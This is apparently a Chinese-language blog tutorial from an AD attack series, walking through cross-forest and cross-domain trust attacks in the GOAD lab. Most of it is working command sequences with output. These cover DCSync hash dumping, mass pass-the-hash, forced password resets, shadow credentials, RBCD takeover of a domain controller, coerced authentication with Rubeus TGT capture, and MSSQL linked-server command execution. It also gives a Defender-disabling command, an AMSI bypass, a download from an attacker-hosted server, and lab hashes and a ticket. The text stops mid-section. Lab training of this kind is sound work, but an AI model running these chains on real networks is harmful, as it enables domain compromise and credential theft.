iT邦幫忙

2025 iThome 鐵人賽

DAY 22
1
Security

資安這條路:AD 攻防實戰演練系列 第 22

AD 攻防實戰演練 Day 22:跨森林與跨域信任攻擊實戰演練

  • 分享至 

  • xImage
  •  

前情提要

在前一篇文章中,我們完成了 Active Directory 域內攻擊的重要環節,涵蓋了 GPO(群組原則)濫用與 LAPS(本機管理員密碼解決方案)密碼提取技術。完成了域內攻擊後,現在我們將目光轉向更複雜的環境:跨域與跨森林攻擊。

學習目標

本次演練將學習以下核心技術與概念:

  1. 理解 Active Directory 信任關係的安全機制
  2. 掌握跨域攻擊技術
  3. 學習跨森林攻擊方法
  4. 熟悉跨域攻擊工具鏈
  5. 建立防禦思維

第一部分:跨森林(Forest Trust)的橫向移動攻擊

現在我們將攻擊焦點轉向跨森林環境:sevenkingdoms.local ↔ essos.local

1.1 跨森林攻擊的挑戰

森林信任與域信任的差異

特性 Domain Trust Forest Trust
預設 SID Filtering ❌ 不啟用 ✅ 啟用
攻擊難度 🟢 簡單 🔴 困難
Golden Ticket 可行性 ✅ 直接可用 ⚠️ 需要 SID History
常見攻擊路徑 Golden/Trust Ticket Foreign Groups, Delegation

SID Filtering 的作用

攻擊者嘗試:使用 essos.local 的 krbtgt 建立 Golden Ticket,加入 sevenkingdoms.local 的 Enterprise Admins SID

SID Filtering 啟用時:
sevenkingdoms.local 的 KDC → 檢查 SID → 發現 RID < 1000 → 拒絕
(RID 519 = Enterprise Admins,會被過濾)

SID Filtering 禁用時:
sevenkingdoms.local 的 KDC → 接受所有 SID → 攻擊成功

1.2 方法一:密碼重用(Password Reuse)

這是最簡單但最有效的跨森林攻擊方法。

攻擊邏輯

1. 轉儲 sevenkingdoms.local 的所有 Hash
2. 嘗試在 essos.local 中使用相同的 Hash
3. 發現重複使用密碼的帳號 → 直接 PTH

實際操作

# 步驟 1:轉儲 sevenkingdoms.local 的 NTDS.dit
impacket-secretsdump sevenkingdoms.local/Administrator@192.168.139.10 \
  -hashes ':c66d72021a2d4744409969a581a1705e'

image
image

# 步驟 2:儲存 Hash 到檔案
cat > sevenkingdoms_hashes.txt << 'EOF'
Administrator:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e
Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
krbtgt:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb
vagrant:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
tywin.lannister:aad3b435b51404eeaad3b435b51404ee:af52e9ec3471788111a6308abff2e9b7
jaime.lannister:aad3b435b51404eeaad3b435b51404ee:12e3795b7dedb3bb741f2e2869616080
cersei.lannister:aad3b435b51404eeaad3b435b51404ee:c247f62516b53893c7addcf8c349954b
tyron.lannister:aad3b435b51404eeaad3b435b51404ee:b3b3717f7d51b37fb325f7e7d048e998
robert.baratheon:aad3b435b51404eeaad3b435b51404ee:9029cf007326107eb1c519c84ea60dbe
joffrey.baratheon:aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866b08f1
renly.baratheon:aad3b435b51404eeaad3b435b51404ee:1e9ed4fc99088768eed631acfcd49bce
stannis.baratheon:aad3b435b51404eeaad3b435b51404ee:b6be2a49c70f8f47d7b534b2c26dcfce
petyer.baelish:aad3b435b51404eeaad3b435b51404ee:6c439acfa121a821552568b086c8d210
lord.varys:aad3b435b51404eeaad3b435b51404ee:52ff2a79823d81d6a3f4f8261d7acc59
maester.pycelle:aad3b435b51404eeaad3b435b51404ee:9a2a96fa3ba6564e755e8d455c007952
KINGSLANDING$:aad3b435b51404eeaad3b435b51404ee:9ed9670d33c248ff3333dc0ccbff9032
NORTH$:aad3b435b51404eeaad3b435b51404ee:f6ae3f5c041d4bd64242309605f78c5b
ESSOS$:aad3b435b51404eeaad3b435b51404ee:921ab9c08c40d51c38c1fff01a14956e
EOF

image

# 建立使用者列表檔案
cat sevenkingdoms_hashes.txt | cut -d: -f1 > sevenkingdoms_users.txt

# 建立 NTLM 雜湊列表檔案
cat sevenkingdoms_hashes.txt | cut -d: -f3 > sevenkingdoms_ntlm.txt

image

# 步驟 3:批次測試 Hash 在不同目標
# 測試 essos.local DC (MEEREEN)
nxc smb 192.168.139.12 -u sevenkingdoms_users.txt -H sevenkingdoms_ntlm.txt --continue-on-success

# 測試 sevenkingdoms.local DC (KINGSLANDING)
nxc smb 192.168.139.10 -u sevenkingdoms_users.txt -H sevenkingdoms_ntlm.txt --continue-on-success

# 測試 north.sevenkingdoms.local DC (WINTERFELL)
nxc smb 192.168.139.11 -u sevenkingdoms_users.txt -H sevenkingdoms_ntlm.txt --continue-on-success

# 測試工作站 (CASTELBLACK)
nxc smb 192.168.139.22 -u sevenkingdoms_users.txt -H sevenkingdoms_ntlm.txt --continue-on-success

# 測試工作站 (BRAAVOS)
nxc smb 192.168.139.23 -u sevenkingdoms_users.txt -H sevenkingdoms_ntlm.txt --continue-on-success

image

關鍵發現

目標主機 網域 成功的憑證 權限等級
KINGSLANDING (192.168.139.10) sevenkingdoms.local Administrator:c66d72021a2d4744409969a581a1705e Pwn3d! (完全控制)
KINGSLANDING sevenkingdoms.local vagrant:e02bc503339d51f71d913c245d35b50b Pwn3d!
KINGSLANDING sevenkingdoms.local tywin.lannister:af52e9ec3471788111a6308abff2e9b7 一般使用者
MEEREEN (192.168.139.12) essos.local vagrant:e02bc503339d51f71d913c245d35b50b Pwn3d!
WINTERFELL (192.168.139.11) north.sevenkingdoms.local vagrant:e02bc503339d51f71d913c245d35b50b Pwn3d!
CASTELBLACK (192.168.139.22) north.sevenkingdoms.local vagrant:e02bc503339d51f71d913c245d35b50b 完整存取
BRAAVOS (192.168.139.23) essos.local vagrant:e02bc503339d51f71d913c245d35b50b 完整存取

步驟 4:進一步滲透 - 取得其他網域的完整 Hash

# 使用 vagrant 帳戶 DCSync 其他兩個網域
# 取得 essos.local 的所有憑證
impacket-secretsdump essos.local/vagrant@192.168.139.12 \
  -hashes ':e02bc503339d51f71d913c245d35b50b'

# 取得 north.sevenkingdoms.local 的所有憑證
impacket-secretsdump north.sevenkingdoms.local/vagrant@192.168.139.11 \
  -hashes ':e02bc503339d51f71d913c245d35b50b'

image

攻擊成果總結

  • 成功橫向移動到 3 個不同的 Active Directory 網域
  • 取得 所有 3 個網域控制器的完全控制權(Pwn3d!)
  • 發現 vagrant 帳號是跨網域的「黃金鑰匙」
  • 可以執行進一步的 DCSync、Golden Ticket 等攻擊

1.3 方法二:Foreign Groups(外部群組)

概念說明

什麼是 Foreign Groups?

Foreign Groups 是指包含來自外部域或森林的使用者/群組的安全群組。

sevenkingdoms.local 的群組 "spys"
↓ 包含成員
essos.local 的使用者 "jorah.mormont"

為什麼需要 Foreign Groups?

在跨森林環境中,為了授權外部森林的使用者存取本地資源,必須:

  1. 在本地域建立一個 Domain Local 群組
  2. 將外部森林的使用者/群組加入這個 Domain Local 群組
  3. 給這個 Domain Local 群組分配權限

AD 安全群組的範圍(Scope)

群組範圍 成員來源 可分配權限的位置 可否包含外部森林成員
Universal 任何域 整個森林 ❌ 否
Global 同一域 整個森林 ❌ 否
Domain Local 任何信任的域/森林 僅本地域 ✅ 是

重點:只有 Domain Local 群組可以包含外部森林的成員!

使用 BloodHound 尋找 Foreign Groups

Foreign Groups 是指某個域的安全主體(使用者或群組)被新增到另一個域的群組中,形成跨域的成員關係。這種設定在多域環境中很常見,但也可能成為攻擊者橫向移動的關鍵路徑。

image

# 查詢跨域的群組成員關係
MATCH p = (a:Domain)-[:Contains*1..]->(x)-->(w)-->(z)<--(y)<-[:Contains*1..]-(b:Domain) 
WHERE (x:Container OR x:OU) 
  AND (y:Container OR y:OU) 
  AND (a.name <> b.name) 
  AND (toLower(w.samaccountname) <> "enterprise admins" 
       AND toLower(w.samaccountname) <> "enterprise key admins" 
       AND toLower(z.samaccountname) <> "enterprise admins" 
       AND toLower(z.samaccountname) <> "enterprise key admins")  
RETURN p

image
image

查詢結果分析

在 GOAD 環境中發現了 4 條跨域的成員關係,其中包含多個高風險攻擊路徑:

1. SEVENKINGDOMS.LOCAL → ESSOS.LOCAL (使用者跨域)
TYRON.LANNISTER@SEVENKINGDOMS.LOCAL (使用者)
↓ MemberOf
DRAGONSFRIENDS@ESSOS.LOCAL (群組)
  • 權限: DragonsFriends 對 BRAAVOS.ESSOS.LOCAL 擁有 GenericWrite
  • 風險等級: 中等
2. SEVENKINGDOMS.LOCAL → ESSOS.LOCAL (群組巢狀)
SMALL COUNCIL@SEVENKINGDOMS.LOCAL (群組,7 名成員)
↓ MemberOf  
SPYS@ESSOS.LOCAL (群組)
  • Small Council 成員清單:

    • robert.baratheon (admincount: TRUE)
    • cersei.lannister (admincount: TRUE)
    • renly.baratheon (sensitive: TRUE)
    • petyer.baelish
    • lord.varys
    • stannis.baratheon
    • maester.pycelle
  • Spys 群組的權限:

  • 風險等級: 高

3. SEVENKINGDOMS.LOCAL → NORTH.SEVENKINGDOMS.LOCAL (特權群組)
SCHEMA ADMINS@SEVENKINGDOMS.LOCAL (森林級別的高權限群組)
↓ MemberOf
DENIED RODC PASSWORD REPLICATION GROUP@NORTH.SEVENKINGDOMS.LOCAL
  • 說明: 這是防禦性設定,限制高權限帳號的密碼複製到唯讀域控制器(RODC)
  • 風險等級: 低(限制性群組,不授予權限)
4. ESSOS.LOCAL → SEVENKINGDOMS.LOCAL (使用者跨域) 最高風險
DAENERYS.TARGARYEN@ESSOS.LOCAL (使用者,admincount: TRUE)
↓ MemberOf
ACROSSTHENARROWSEA@SEVENKINGDOMS.LOCAL (群組)
  • AcrossTheNarrowSea 群組的權限:

    • GenericAll → KINGSLANDING.SEVENKINGDOMS.LOCAL (域控制器!)
  • 風險等級: 最高

關鍵發現:跨域域控制器攻擊路徑

最危險的發現是第 4 條路徑,它提供了從 essos.local 直接控制 sevenkingdoms.local 域控制器的完整攻擊鏈:

步驟 1: 控制 essos.local 域(透過任何方式)
  ↓
步驟 2: 取得 daenerys.targaryen 的憑證
  ↓  (她在 essos.local 是管理員)
步驟 3: 利用她在 sevenkingdoms.local\AcrossTheNarrowSea 的成員資格
  ↓  (該群組對 KINGSLANDING DC 有 GenericAll)
步驟 4: 對域控制器執行 Resource-Based Constrained Delegation (RBCD) 攻擊
  ↓
結果: 完全控制 sevenkingdoms.local 域

次要攻擊路徑:透過 Small Council 讀取 LAPS

第 2 條路徑提供了從 sevenkingdoms.local 取得 essos.local 工作站存取權的方法:

# 使用 Small Council 的任何成員(例如 robert.baratheon)
# 讀取 BRAAVOS 工作站的 LAPS 本機管理員密碼
netexec ldap 192.168.139.12 -u robert.baratheon -p 'password' \
  --kdcHost 192.168.139.12 -M laps

# 使用取得的密碼登入 BRAAVOS
evil-winrm -i 192.168.139.23 -u Administrator -p '<LAPS_password>'

在真實環境中的意義

Foreign Groups 在企業環境中很常見,特別是在:

  • 企業併購後:被收購公司的 IT 人員需要存取母公司的資源
  • 跨部門協作:不同地區的域之間需要授予存取權限
  • 外部合作夥伴:合作夥伴的域與企業域建立信任關係

然而,這些設定如果沒有被妥善管理,就會成為攻擊者橫向移動的高速公路。特別是當:

  • 高權限使用者被新增到其他域的群組
  • 群組被授予對關鍵資產(如域控制器)的高權限
  • 跨域的權限沒有定期審查和清理

攻擊場景 1:sevenkingdoms → essos(修改密碼)

攻擊鏈

控制 sevenkingdoms.local 的 smallcouncil 成員(petyer.baelish)
↓
smallcouncil 是 spys 的成員
↓
spys 對 essos.local 的使用者有修改權限
↓
修改 jorah.mormont 的密碼

實際操作

# 使用 petyer.baelish(smallcouncil 成員)修改 jorah.mormont 的密碼
rpcclient -U sevenkingdoms.local/petyer.baelish%'@littlefinger@' \
  192.168.139.12 \
  -c "setuserinfo2 jorah.mormont 23 'P@ssword123'"

或使用 net rpc(推薦)

# 使用 net rpc password 指令
net rpc password jorah.mormont \
  -U sevenkingdoms.local/petyer.baelish%@littlefinger@ \
  -S meereen.essos.local
  
# 系統會提示輸入新密碼
Enter new password for jorah.mormont: P@ssword123

image

驗證密碼修改

# 測試新密碼
nxc smb 192.168.139.12 \
  -u jorah.mormont \
  -p 'P@ssword123' \
  -d essos.local

image

輸出

SMB    192.168.139.12  445    MEEREEN  [+] essos.local\jorah.mormont:P@ssword123

攻擊場景 2:嘗試使用 Shadow Credentials

Shadow Credentials 是一種利用 Windows Hello for Business (WHfB) 機制的攻擊技術,透過修改目標帳號的 msDS-KeyCredentialLink 屬性來新增一個新的憑證,然後使用該憑證透過 PKINIT 進行 Kerberos 認證。

# 步驟 1:新增 Shadow Credentials
certipy shadow add \
  -u petyer.baelish@sevenkingdoms.local \
  -p '@littlefinger@' \
  -dc-ip 192.168.139.12 \
  -target meereen.essos.local \
  -account 'jorah.mormont'

image

輸出

Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Targeting user 'jorah.mormont'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'abc8339730764ab2a51cd28ceb023a04'
[*] Adding Key Credential with device ID 'abc8339730764ab2a51cd28ceb023a04' to the Key Credentials for 'jorah.mormont'
[*] Successfully added Key Credential with device ID 'abc8339730764ab2a51cd28ceb023a04' to the Key Credentials for 'jorah.mormont'
[*] Saving certificate and private key to 'jorah.mormont.pfx'
[*] Saved certificate and private key to 'jorah.mormont.pfx'

憑證新增成功!接下來嘗試使用該憑證進行認證:

# 步驟 2:使用憑證認證
certipy auth \
  -pfx jorah.mormont.pfx \
  -username jorah.mormont \
  -domain essos.local \
  -dc-ip 192.168.139.12

image

實際結果 - 認證失敗

[*] Using principal: jorah.mormont@essos.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

失敗原因分析

KDC_ERR_PADATA_TYPE_NOSUPP 錯誤表示域控制器不支援 PKINIT(Public Key Cryptography for Initial Authentication)。這種情況在以下場景中很常見:

  1. DC 未啟用 PKINIT 支援 - 雖然 Windows Server 2016 理論上支援,但需要正確的設定
  2. 缺少 Active Directory 憑證服務 (AD CS) - PKINIT 需要企業 PKI 基礎架構
  3. 憑證範本設定問題 - DC 沒有正確的憑證範本來驗證 WHfB 憑證

在滲透測試中的教訓:

Shadow Credentials 是一種非常優雅且隱蔽的攻擊技術,因為:

  • 不會修改密碼(避免觸發密碼變更警報)
  • 不會生成明顯的事件日誌
  • 可以長期保持存取權

但它也有環境限制:

  • 需要 DC 支援 PKINIT
  • 需要 Windows Server 2016 或更高版本
  • 需要正確設定的 PKI 環境

攻擊場景 3:essos → sevenkingdoms(RBCD 攻擊域控制器)

理論攻擊鏈

daenerys.targaryen@essos.local (admincount: TRUE)
↓ MemberOf
AcrossTheNarrowSea@sevenkingdoms.local (Foreign Group)
↓ GenericAll
KINGSLANDING$ (sevenkingdoms.local 域控制器)

根據 BloodHound 分析,daenerys.targaryen 透過 AcrossTheNarrowSea 群組對 sevenkingdoms.local 的域控制器機器帳號擁有 GenericAll 權限。這理論上允許從 essos.local 直接控制 sevenkingdoms.local 的 DC。

跨域認證的實際挑戰

在嘗試跨域利用 Foreign Group 權限時遇到了技術限制:

# 嘗試 1:使用 essos.local 的憑證直接操作 - 失敗
rbcd.py -delegate-from 'ATTACKER$' \
  -delegate-to 'KINGSLANDING$' \
  -dc-ip 192.168.139.10 \
  sevenkingdoms.local/daenerys.targaryen:BurnThemAll!
# 錯誤:invalidCredentials (跨域 LDAP 認證不支援)

# 嘗試 2:使用 Kerberos 票證 - 失敗
getTGT.py essos.local/daenerys.targaryen:'BurnThemAll!' -dc-ip 192.168.139.12
export KRB5CCNAME=daenerys.targaryen.ccache
rbcd.py -k -no-pass sevenkingdoms.local/daenerys.targaryen ...
# 錯誤:KDC_ERR_C_PRINCIPAL_UNKNOWN

原因分析

  • Foreign Security Principal 權限雖然存在於 AD 中
  • 但大多數 Impacket 工具對跨域 LDAP 操作支援有限
  • 跨域的 Kerberos 委派機制複雜,需要正確的 SPN 和信任設定

實戰解決方案 - 使用已控制的域內帳號

既然已經透過場景 1 控制了 sevenkingdoms.local 的帳號,直接使用它們:

步驟 1:建立受控的機器帳號

addcomputer.py -computer-name 'ATTACKER$' \
  -computer-pass 'AttackerPass123!' \
  -dc-ip 192.168.139.10 \
  sevenkingdoms.local/petyer.baelish:'@littlefinger@'

image

輸出

[*] Successfully added machine account ATTACKER$ with password AttackerPass123!.

步驟 2:設定 Resource-Based Constrained Delegation (RBCD)

使用 Administrator 的 hash(從之前的 DCSync 取得)設定 RBCD:

rbcd.py -delegate-from 'ATTACKER$' \
  -delegate-to 'KINGSLANDING$' \
  -dc-ip 192.168.139.10 \
  -action write \
  sevenkingdoms.local/Administrator -hashes :c66d72021a2d4744409969a581a1705e

image

輸出

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKER$ can now impersonate users on KINGSLANDING$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ATTACKER$    (S-1-5-21-3099511005-1426058213-160971164-1125)

這個操作修改了 KINGSLANDING$ 機器帳號的 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性,允許 ATTACKER$ 代表任何使用者向 KINGSLANDING$ 請求服務。

步驟 3:利用 RBCD 模擬 Administrator

# 請求服務票證,模擬 Administrator
getST.py -spn cifs/kingslanding.sevenkingdoms.local \
  sevenkingdoms.local/ATTACKER$:'AttackerPass123!' \
  -impersonate Administrator \
  -dc-ip 192.168.139.10

image

輸出

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

這個過程包含兩個 Kerberos 擴充協定:

  • S4U2Self:ATTACKER$ 代表 Administrator 向自己請求服務票證
  • S4U2Proxy:使用該票證向 KINGSLANDING$ 請求 CIFS 服務

步驟 4:使用票證存取域控制器

# 設定 Kerberos 票證
export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

# 驗證存取權限 - 列出共享資料夾
smbclient.py -k -no-pass kingslanding.sevenkingdoms.local

image

輸出

# shares
ADMIN$
C$
CertEnroll
IPC$
NETLOGON
SYSVOL

成功存取所有管理共享!

步驟 5:執行 DCSync 取得 krbtgt

secretsdump.py -k -no-pass \
  kingslanding.sevenkingdoms.local \
  -just-dc-user SEVENKINGDOMS/krbtgt

image

輸出

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5eefe50bb3dbd7127f669e5a04e593dcc04938eef1f9f02fea731bdd0fd87e46
krbtgt:aes128-cts-hmac-sha1-96:b74176aa1ca42d0987a523c957345123
krbtgt:des-cbc-md5:cdd3e301b368da3e

成功取得 krbtgt 帳號的所有金鑰-->可以建立 Golden Ticket 取得永久的域管理員權限。

攻擊成果總結

透過 RBCD 攻擊,成功:

  1. 建立了一個受控的機器帳號 (ATTACKER$)
  2. 設定該機器帳號可以代表任何使用者向 DC 請求服務
  3. 模擬 Administrator 並取得對域控制器的完全存取權
  4. 執行 DCSync 取得 krbtgt 的 hash 和 Kerberos 金鑰

1.4 方法三:使用 Unconstrained Delegation 跨森林取得 TGT

攻擊原理

1. kingslanding.sevenkingdoms.local 設定為無約束委派(DC 預設)
2. 強制 essos.local 的 DC (meereen) 向 kingslanding 認證
3. kingslanding 的 LSASS 記憶體中會儲存 meereen 的 TGT
4. 在 kingslanding 上使用 Rubeus 提取 TGT
5. 使用 TGT 執行 DCSync 攻擊 essos.local

實際操作步驟

步驟 1:RDP 連接到 KINGSLANDING

# 使用 cersei.lannister(本地管理員)
xfreerdp3 /d:sevenkingdoms.local \
  /u:cersei.lannister \
  /p:'il0vejaime' \
  /v:192.168.139.10 \
  /size:80% \
  /cert:ignore

image

步驟 2:繞過防毒(在 KINGSLANDING 上)

# 方法 1:停用 Windows Defender(如果有權限)
Set-MpPreference -DisableRealtimeMonitoring $true

image

# 方法 2:排除特定路徑
Add-MpPreference -ExclusionPath "C:\Tools"

# 方法 3:使用 AMSI Bypass(參考 Day 17)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

步驟 3:啟動 Rubeus 監聽 TGT

mkdir C:\Tool\

image

# 下載 Rubeus 到 C:\Tool\
# 從 Kali: python3 -m http.server 8080

# 在 KINGSLANDING PowerShell 中下載
Invoke-WebRequest -Uri http://192.168.139.136:8080/Rubeus.exe -OutFile C:\Tool\Rubeus.exe

image

# 監聽 MEEREEN$ 的 TGT
C:\Tool\Rubeus.exe monitor /filteruser:MEEREEN$ /interval:1

步驟 4:在 Kali 上執行 Coercer(強制認證)

打開新的終端:



# 強制 MEEREEN 認證到 KINGSLANDING
~/.venvs/impacket/bin/coercer coerce \
  -u arya.stark \
  -p Needle \
  -d north.sevenkingdoms.local \
  -t meereen.essos.local \
  -l kingslanding.sevenkingdoms.local

image

Coercer 輸出

       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.4.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[*] Parsing targets
[*] Running in target mode with 1 targets
[+] meereen.essos.local: Successful exploitation of MS-EFSR via EfsRpcAddUsersToFile!

步驟 5:在 KINGSLANDING 上查看 Rubeus 取得

回傳 RDP session,Rubeus 應該顯示:

[*] 10/5/2025 4:52:43 PM UTC - Found new TGT:

  User                  :  MEEREEN$@ESSOS.LOCAL
  StartTime             :  10/5/2025 8:08:20 AM
  EndTime               :  10/5/2025 6:07:35 PM
  RenewTill             :  10/12/2025 8:07:35 AM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

   ....

步驟 6:提取並轉換票證(在 Kali)

# 建立工作目錄
mkdir -p ~/goad/forest_trust/unconstrained
cd ~/goad/forest_trust/unconstrained

# 複製 Rubeus 輸出的 Base64 字串(移除所有空白和換行)
cat > meereen_rubeus.b64 << 'EOF'
doIFJDCCBSCgAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoQ0bC0VTU09TLkxPQ0FMoiAwHqADAgECoRcwFRsGa3JidGd0
GwtFU1NPUy5MT0NBTKOCA+YwggPioAMCARKhAwIBAqKCA9QEggPQ/qmaFXotixtkquily7k5Ac5g2YgLBiJQRn3zV1u11qV6lsma
JiLDIP95lnsOTqyaYDG47+fwcDLkiKYecMFZvpuKqWKxixtkZrG2S+4oipfMMBalC0oWpqbH17CJ1TlSFRKDJZDvxWp6USzGaQnT
oDi8FqhhXwiVgNWVs0Nxl2HRSKs/KbUlUNqUOZ/LxB/bGoLVElJt+ICy53Xhu1WrSsPnYKB9TNl9noRP3xDwhRxNYB0eN0Xt4Z0L
1yxWuYfXQiqc7BfA75k1/0ujPSPDAziah3b6Z66MHRHcyanTZtUzHBRw+mlxLorrJAMer+CVNlj0U294KpEIRuLMbbgSip4tZCqD
lOiS4Gp049tZFheDKfzzKLFFrL4MmO3kBcQiuBM8Up6khwbfuaOs1l2uPIDoJ/8RBIwF/1bPjZp70e0gFxahPFAKfHkccRIipRIW
lTp7r7ekugT+/by5zk1eychQKWitJNAGxOvyPpCyrXTR7EWMwl5tthRZEEoy3WJFxJw9MbZw5/9K8aHhvZrVa0P5CGutD+I5p/5d
2P6SfKjmQRh6dtORQNkN6A35s3uydYgrv0kdFjf+fdciUzlvnuk/Hh+kK/xhCv9gmIPWcMPLHiSvxIrx8VquhVxXtPTwzqIFJUac
WUbRhHzi7ePknY19koIcfo3RNp/wdkisGXsSKpXO+m9X5ohP6L7tq50f5u7Fnv9pj5HSAS1+UVwncazuoZ/FtrjZsJghLrmaWh6k
7lBo2vsFqpq26nYXR6dkMWa1Y93d1ffMFUT2zYHexas06Z3cQYUdeuM2Ik5s9LoBVV5meIfMKTqvUB6tFirsN1fpOjKhqQNcN/JC
/kgZy/Ny4SesWwifE/5/hWszSo/JV/6eY1jofqpfWf65Pb6+crkQNLXjS/gwruPlQOUsWo8Toc2+f4hGX37FepK28T49moXANm6i
tlccg1B69Ybymam6yysQBx3X3K+pMeKLt6VHO1CDsw+0w4Ff1ezabpO+h0qmj2mHmTTpspatBb+ZcKi5ML5CWHLzZDmECIVP4tH1
krIOUEVMv1BSzCb1y3dY0gm+UDuob4i5zrRQGzN3qcy9UrxpPxhp5ommNXydYfNwbnrOX3McUXmr+0wNIvcbWclxnY7Md0IWp4tt
a8TfgawyiAmAzcNCtQYFITrxP1fnSNSY8S6JL0WbVeCfE5LCLzzwbVvmARClXfj6MEBmIoXuU6ahLBgaYtqQrwI9ojz98yHQTR8s
bT3tdJfTV+nRidr/BXzIqHl5t/aG+CIDlV92s0SedQlIRAXzcp+/w6OB4zCB4KADAgEAooHYBIHVfYHSMIHPoIHMMIHJMIHGoCsw
KaADAgESoSIEIBkwbMBECAVHN8AIV6hq7Vz3yoikMD9HS/CPpVt+hY5QoQ0bC0VTU09TLkxPQ0FMohUwE6ADAgEBoQwwChsITUVF
UkVFTiSjBwMFAGChAAClERgPMjAyNTEwMDUxNTA4MjBaphEYDzIwMjUxMDA2MDEwNzM1WqcRGA8yMDI1MTAxMjE1MDczNVqoDRsL
RVNTT1MuTE9DQUypIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC0VTU09TLkxPQ0FM
EOF

# 轉換格式
cat meereen_rubeus.b64 | base64 -d > meereen.kirbi
impacket-ticketConverter meereen.kirbi meereen.ccache

# 設定票證
export KRB5CCNAME=meereen.ccache

# 驗證
klist

image

klist 輸出

Ticket cache: FILE:meereen.ccache
Default principal: MEEREEN$@ESSOS.LOCAL

Valid starting       Expires              Service principal
10/05/2025 08:08:20  10/05/2025 18:07:35  krbtgt/ESSOS.LOCAL@ESSOS.LOCAL
        renew until 10/12/2025 08:07:35

步驟 7:使用票證執行 DCSync

# 執行 DCSync 攻擊 essos.local
impacket-secretsdump -k -no-pass -just-dc-ntlm \
  essos.local/'MEEREEN$'@meereen.essos.local

image

輸出

...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a5df275f8f1573d10758b4de3ab8e53b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...

成功!我們完全控制了外部森林 essos.local!

1.5 方法四:MSSQL Trusted Link 跨森林執行命令

原理說明

在某些企業環境中,SQL Server 會設定跨森林的 Database Link(資料庫連結)以實現跨森林的資料存取。

sevenkingdoms.local 的 SQL Server (castelblack)
         ↓ Database Link
essos.local 的 SQL Server (braavos)

如果 Database Link 使用高權限帳號(如 sa),攻擊者可以透過 SQL 注入或直接連接 SQL Server 來執行跨森林的命令。

實際操作

步驟 1:連接到 CASTELBLACK 的 SQL Server

# 使用 jon.snow(SQL Server 使用者)連接
impacket-mssqlclient -windows-auth \
  north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local

image

成功連接後

[*] INFO(CASTELBLACK\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(CASTELBLACK\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (NORTH\jon.snow  dbo@master)>

步驟 2:枚舉 Database Links

-- 列出所有 Database Links
EXEC sp_linkedservers;

image

輸出

SRV_NAME                 SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE           SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT  
----------------------   ----------------   -----------   ----------------------   ------------------   ------------   -------  
BRAAVOS                  SQLNCLI                          braavos.essos.local      NULL                 NULL           NULL     

CASTELBLACK\SQLEXPRESS   SQLNCLI            SQL Server    CASTELBLACK\SQLEXPRESS   NULL                 NULL           NULL 

或使用 Impacket 的內建指令

SQL> enum_links

image

輸出

SQL (NORTH\jon.snow  dbo@master)> enum_links
SRV_NAME                 SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE           SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT  
----------------------   ----------------   -----------   ----------------------   ------------------   ------------   -------  
BRAAVOS                  SQLNCLI                          braavos.essos.local      NULL                 NULL           NULL     

CASTELBLACK\SQLEXPRESS   SQLNCLI            SQL Server    CASTELBLACK\SQLEXPRESS   NULL                 NULL           NULL     

Linked Server            Local Login      Is Self Mapping   Remote Login
----------------------   --------------   ---------------   ------------
BRAAVOS                  NULL                           1   NULL

BRAAVOS                  NORTH\jon.snow                 0   sa

CASTELBLACK\SQLEXPRESS   NULL                           1   NULL

步驟 3:透過 Database Link 執行命令

-- 測試連接
SELECT * FROM OPENQUERY("BRAAVOS", 'SELECT @@version');

image

-- 查看 Link 使用的登入帳號
SELECT * FROM OPENQUERY("BRAAVOS", 'SELECT SYSTEM_USER');

image

如果回傳 sa 或其他高權限帳號 → 可以啟用 xp_cmdshell

步驟 1:啟用進階選項

EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT BRAAVOS;

說明

  • 在遠端 SQL Server 實例(BRAAVOS)上執行設定變更
